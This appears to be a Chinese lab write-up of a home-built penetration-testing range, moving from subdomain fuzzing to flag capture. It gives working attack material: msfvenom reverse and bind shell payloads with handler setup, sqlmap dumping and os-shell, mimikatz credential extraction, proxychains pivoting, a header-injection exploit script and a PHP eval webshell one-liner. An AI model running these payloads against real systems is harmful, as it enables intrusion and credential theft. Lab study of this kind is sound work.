完整的渗透测试靶场通关

完整的渗透测试实例

作者:Slaine 编辑日期:2021.6.6

流程目录
image-20220722212255442image-20220722212336192

前言

记得在2021年初就通关的这个的内网渗透靶场,只不过做完很久都后没怎么管,然后就去某CTF站刷了好一阵子题,排名从两万刷到了两百。
记得刷完CTF题后又是各种考试,过了好一阵子才有时间把这个内网渗透的笔记总结(2021.6.6)。

image-20220715184213599

一年后的现在暑假(2022.7)开始了,整理个人知识技能时感觉学了很多很多,也走了很多很多弯路,感觉比较乱,所以今后会不断以文章形式整理整理自己的笔记和技能树,鉴于这是当年第一个流程比较正式的笔记,也所以找出来作为第一篇文章发表.

当年截图,自娱自乐一下留作回忆吧

image-20220712200720185

image-20210606162239415

正文

环境搭建

  1. 将三台靶机:WEB服务器*2、数据库服务器部署到VM虚拟机中

  2. 靶场完整示意图

靶场图
  1. 虚拟机网段布置知识:有道云笔记 (youdao.com)

  2. VM虚拟机中设置10.10.10.0和10.10.1.0两个内网段

image-20210603200336361image-20210603200417639

  1. 检测同网段的机子可以相互ping通

  2. IIS网站池和DNS解析池共同在靶机上搭建的网站

  3. 网关绑定

    本身将IP和域名添加到hosts即可实现访问靶机网站,在本地网络连接的网关中绑定靶机IP后,即使去掉hosts的相关信息也可以达到访问网站的目的(只有www.cc123.com需要火狐的隐私模式才能访问)

    image-20210603221056092

渗透操作流程:

探寻内网主机

netdiscover

命令:netdiscover -i eth0 -r 192.168.0.0/24

image-20210603203603260

端口扫描

masscan

image-20210603220056717

端口信息探测

nmap

image-20210603220144404

穷举子域名

命令:wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H “Host:FUZZ.cc123.com” --hw 53

image-20210603222335675

域名new.

Py脚本注入得后台密码

对象:new.cc123.com

利用dedecms 的版本注入漏洞写出Python脚本进行注入获取管理员网站登录密码

image-20210605213722955

812df726be884ddcfc41 MD5解码后为 admin7788 为后台管理登录密码

成功登录后台

有了管理密码后成功登录网站后台

image-20210605214001023image-20210605214027344

发现从后台上传的一句话木马不能执行,应该是没有路径权限

所以先上传小马来探测路径

小马探测

小马探测有上传和执行权限的文件路径

image-20210605210811854

上传大马

大马用处很多,待会会配合使用到

image-20210605214639334

使用蚁剑管理网站

连接上蚁剑后可以执行很多操作,不过这次项目中我们会用到其他方法

image-20210603225448793

Metasploit的会话连接与提权

对象:new.cc123c.com

//这里开启靶机后由之前的192.168.31.85改分配为192.168.31.86了,不过问题不大,把靶机文件里DNS解析和主机网关分配修改成86后仍正常操作

反弹shell链接

(1)msf通过反弹shell建立连接会话

操作流程

msfvenom -p windows/meterpreter/reverse_tcp lhost=kali机ip lport=要开放的端口 -f exe >SL(文件名称).exe
//生成exe文件
进入msf
msf > use exploit/multi/handler
msf(handler) > set payload windows/meterpreter/reverse_tcp
msf(handler) > set lhost xxxxxx (kali机本地ip)
msf(handler) > set lport xxxxxx             //(这两项和生成文件的命令信息需一致)
msf(handler) > run
执行生成的exe文件,开始反弹
image-20210604110246033

在大马里上传并执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bQl4fQ9o-1657886068852)( https://tuchuang-images001-1304277438.cos.ap-chengdu.myqcloud.com/images/image-20210604110549947.png)]

image-20210604110633834

建立会话成功,不过现在还是普通用户(cc123)权限,需要提权

提权到system
前提是用ASPXSpy2014.aspx反弹连接是cc123用户
meterpreter连接成功后
meterpreter > background
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post( multi/recon/local_exploit_suggester) > set session xx
show options 看一下
run

在很多备用选项中选择
use exploit/windows/local/ms16_075_reflection_juicy
set session xx
set lport 4444  (很重要)
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WFol8DYX-1657886068854)( https://tuchuang-images001-1304277438.cos.ap-chengdu.myqcloud.com/images/image-20210604111048627.png)]

image-20210604111211443

提权成功,获取到最高system权限

域名ww2.

网站后台目录扫描

对象:ww2.cc123.com

image-20210604130010364

扫描结果中找到需要的后台管理界面

image-20210604130945649

对ww2.cc123.com后台登录

BP对管理系统爆破(方法一)

BP抓包发现验证码可重复利用,可以进行密码爆破(此步骤为可选项,不过本次操作中用其他方法达到登录目的)

image-20210604134315128

SQL注入绕过密码(方法二)

image-20210604134632161image-20210604134700470

原理:SQL注入的漏洞,通过注释去掉密码,直接利用已有的admin账户的账号登录

image-20210604134757539 image-20210604134810215

XSS后台注入漏洞

image-20210604135448218image-20210604135522713

存在XSS注入漏洞

image-20210604141801385 image-20210604141837460 image-20210604141853597

注释:可以通过XSS注入在管理员登录时获取其cookie

Sqlmap测试和搜集详细信息

在网站后台页面BP抓包

image-20210604144903186

抓包后将其放入kali的文件中,使用salmap

注意:要在kali机的hosts文件中加入靶机IP和域名才能用sqlmap扫描

sqlmap -r sqll --dbms mssql -v 1 --batch        //测试注入信息
sqlmap -r sqll --dbms mssql -v 1 --dbs          // 列出库名
sqlmap -r sqll --dbms mssql -v 1 -D ** --tables    //列出**库中的表名
sqlmap -r sqll --dbms mssql -v 1 -D ** -T $$ --dump //列出**库中的$$表里面的内容
sqlmap -r sqll --dbms mssql -v 1 --os-shell     //获取 mssql shell
//注:这里把为BP抓包的网页请求信息放的文件这里取名为sqll(名字无所谓)

操作展示:

获取站点下的库名
image-20210604155745535 image-20210604155813660
获取指定库里的所有表名
image-20210604162407249
获取库的表里的关键信息(账密)
image-20210604163402090
建立shell链接获取服务器信息

获取 mssql shell 以及 利用sqlmap建立的链接 获取SQLSERVER 服务器信息

image-20210604160827326 image-20210604160911690
查看网络和端口运行情况
image-20210604164433428 image-20210604164455308
大致推断内网域结构

结论:从搜集到的 服务器IP信息 和 初始靶机 不一致,推算目标为站库分离结构,含至少两台服务器

(站库分离:程序跟数据库不在一个服务器 让这个数据服务器更加的安全 数据更加安全)

192.168.31.86/10.10.10.144为A靶机(站点页面资料存放)

10.10.1.144/10.10.10.147为B靶机(站点数据库存储)

10.10.1.146为最终目标靶机

image-20210604161737112

查看为最高权限

.net审计

//继续项目,这时kali机ip又从192.168.31.14变成192.168.31.15了…比较无语,重新连上msf和提权

image-20210605212750170

下载附件,可以利用ILSpy进行代码审计

image-20210605212959139
ww2.程序密文解密

在下载的文件中找出加密程序代码,并结合VS制作解密小工具

image-20210605223105309image-20210605223151998

解密结果

目标:ww2.cc123.com 后台管理系统

账户        密码

admin    cc123

cc123    qweasd123
image-20210605231558190 image-20210605223241103

后台的重复利用验证码漏洞可用BP进行密码爆破(不过都解密出了,这次项目中没必要)

内网信息深入收集

获取网关和哈希信息

image-20210606103044252

解析获取明文密码

使用mimikatz获取明文之前先进行进程迁移到vmtoolsd.exe中,避免使用mimikatz解析出现乱码

注意:不要迁移到权限为administrator的语句里(相当于降权),应当迁移到同等级system权限且64位的的任务进程里

migrate ****
image-20210606110016131

迁移后要导入mimikatz(好像每次会话都要单独导入一次mimikatz)

load mimikatz                                   //导入
mimikatz_command -f samdump::hashes            //解析哈希值
mimikatz_command -f sekurlsa::searchPasswords   //解析明文密码
wdigest
tspkg

操作界面

image-20210606110303943 image-20210606123028755

解析出超管权限账密

添加路由和代理设置

image-20210606123525266

代理配置文件后端口探测

image-20210606123830173

vim /etc/proxychains.conf

image-20210614171225976

修改proxychains.conf文件中127.0.0.1 的端口也为3333后,可以执行代理端口扫描

image-20210606124333471

sqlmap获取的shell不是交互式shell我们通过之前的aspx大马连接数据库上传一个正向shell进行连接

查取库账密

查看Web.config文件获取账号密码

image-20210606125359148 image-20220609142822608

<add key="ConnectionString" value="server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123.." />

对数据库B靶机渗透

msf生成shell

msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe   //生成shell

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set RHOST 10.10.10.134

set lport 13777

结合大马执行shell建立会话

先利用刚才得到的账密

server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..;database=master 

登录MYSQL数据库

image-20210606130905625

注意上传路径!一定要是可以执行64位程序的路径(因为这里msf生成的shell是64位,这里选择的路径是C:\Program Files)只有这样才能成功上传并执行

image-20210606131958766

成功建立正向会话

image-20210606132251172

排坑:这里我们如果不指定路径则大马在上传shell中故障,若指定路径不正确,则会导致无法正常上传和执行

举个栗子

(错误的上传路径c:/ZX.exe)

image-20210606131312845

开启上帝视角对错误进行分析

目标机B靶机

image-20210606132608827 image-20210606132626276

无法执行

正确操作的结果是ZX.exe文件上传到C:\Program Files并成功执行会话

image-20210606143421413

试了几次好像有时能成功上传执行,有时不能,有点玄学?

mimikatz解析密文

平权迁移进程

migrate ****

image-20210606143640012 image-20210606143555416

这里我们可以和之前一样提权然后获取密文

image-20210606144017405

对目标C靶机渗透

添加路由

run autoroute -s 10.10.1.0/24

image-20210606144339959

彩帽设置代理

image-20210606151524174 image-20210606151600009

检验正常

代理访问网站

image-20210606152403664

表示代理成功

构造Py脚本

#conding:utf-8

import requests
import sys
import base64

shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))

header={
    
    'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}

def exploit(url):
    html = requests.get(url=url,headers=header).text
    return html

url = "http://10.10.1.157/"    //目标C靶机的ip
print(exploit(url))

写入一句话木马

proxychains python3 py.py "echo ^<?php @eval(\$_POST[\"slaine\"])?^>>c:\phpstudy\WWW\shell.php"
image-20210606152948925 image-20210606153308641 image-20210606153342037

成功链接

image-20210606153425973

最高权限

菜刀上传正向连接的shell

image-20210606154021907 image-20210606154036676 image-20210606154124636

成功链接,且为最高权限

image-20210606154155316

会话汇总

内网渗透完成

flag获取

flag1

image-20210606155651138

flag2

image-20210606160105248

flag3

image-20210606160339589

flag4

image-20210606160533656

收工。

猜你喜欢

转载自blog.csdn.net/NZXHJ/article/details/125811437